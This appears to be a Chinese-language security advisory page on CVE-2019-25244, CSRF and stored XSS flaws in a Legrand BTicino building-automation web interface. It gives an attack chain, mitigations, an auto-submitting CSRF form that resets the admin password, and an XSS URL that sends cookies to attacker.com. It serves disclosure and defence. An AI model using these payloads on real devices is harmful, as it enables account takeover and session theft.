IPBUF安全漏洞报告
English
CVE-2019-25244 CVSS 5.3 中危

CVE-2019-25244 Legrand BTicino Driver Manager F454 CSRF与存储型XSS漏洞

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2019-25244
漏洞类型
CSRF、存储型XSS
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Legrand BTicino Driver Manager F454

相关标签

CSRF存储型XSSLegrand BTicinoDriver Manager F454智能家居楼宇自动化CVE-2019-25244中等严重度无需认证Web应用漏洞

漏洞概述

CVE-2019-25244是Legrand BTicino Driver Manager F454 1.0.51版本中发现的安全漏洞。该产品是意大利BTicino公司生产的智能家居/楼宇自动化控制设备管理器。漏洞存在于Web管理界面中,由于缺乏对用户请求的适当验证,攻击者可以通过构造恶意请求执行以下操作:1)利用跨站请求伪造(CSRF)漏洞,在无需管理员认证的情况下更改管理员密码;2)通过未验证的GET参数注入存储型跨站脚本(XSS)载荷,当其他管理员访问相关页面时,恶意脚本将在其浏览器中执行。该漏洞的CVSS评分为5.3,属于中等严重程度,攻击向量为网络层面,无需认证和用户交互即可发起攻击。虽然机密性和完整性影响较低,但攻击者成功利用后可完全接管设备管理权限,对智能楼宇系统的安全性构成严重威胁。

技术细节

该漏洞主要包含两个独立但相关的安全问题。第一,CSRF漏洞:Web应用未实现CSRF令牌机制,攻击者可以构造恶意HTML页面或链接,诱使已登录的管理员访问,当浏览器自动发送携带有效会话Cookie的请求时,攻击者即可执行任意管理操作,包括修改管理员密码。攻击者首先创建一个托管恶意表单的网页,该表单包含密码修改请求,当管理员访问时,浏览器自动提交请求,由于应用缺少请求来源验证,攻击者可以成功更改密码。第二,存储型XSS漏洞:应用未对GET参数进行充分的输入验证和输出编码,攻击者可以通过URL参数注入JavaScript代码,这些恶意代码会被存储在服务器端,当其他用户查看相关页面时,恶意脚本在用户浏览器上下文中执行,可窃取会话Cookie、伪造用户操作或进行钓鱼攻击。攻击者只需构造包含<script>alert('XSS')</script>的URL并诱导用户访问即可触发。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标Legrand BTicino Driver Manager F454设备,确认其版本为1.0.51并可从网络访问
STEP 2
步骤2
构造CSRF攻击载荷:攻击者创建包含密码修改请求的恶意HTML页面,或准备包含XSS载荷的URL链接
STEP 3
步骤3
社会工程攻击:攻击者通过钓鱼邮件、即时消息或其他方式诱使已登录的管理员访问恶意页面
STEP 4
步骤4
触发漏洞:管理员浏览器自动发送携带有效会话Cookie的请求到目标设备,由于应用缺少CSRF令牌验证,密码修改请求被成功处理
STEP 5
步骤5
账户接管:攻击者使用新设置的密码登录管理后台,获得设备的完全控制权
STEP 6
步骤6
持久化控制:对于XSS漏洞,恶意脚本被存储后,任何访问受影响页面的用户都会执行攻击载荷,攻击者可窃取更多用户凭证或进行横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2019-25244 CSRF PoC - Change Admin Password --> <html> <body> <h1>CVE-2019-25244 CSRF PoC</h1> <p>Target: Legrand BTicino Driver Manager F454</p> <form action="http://target:8080/change_password" method="POST" id="csrfForm"> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="new_password" value="hacked123" /> <input type="hidden" name="confirm_password" value="hacked123" /> <input type="hidden" name="action" value="save" /> </form> <script>document.getElementById('csrfForm').submit();</script> </body> </html> <!-- CVE-2019-25244 Stored XSS PoC --> <!-- Inject via GET parameter --> <!-- http://target:8080/admin/settings?name=<script>document.location='http://attacker.com/steal?c='+document.cookie</script> -->

影响范围

Legrand BTicino Driver Manager F454 1.0.51及之前版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)将管理接口限制在可信网络段访问,避免直接从互联网暴露;2)监控设备日志,关注异常的密码修改操作和异常的HTTP请求;3)使用防火墙规则限制对管理端口的访问,仅允许授权IP地址;4)定期更改管理员密码并使用强密码策略;5)考虑部署WAF(Web应用防火墙)规则检测和阻止CSRF攻击及XSS攻击载荷;6)对管理员进行安全意识培训,警惕钓鱼攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表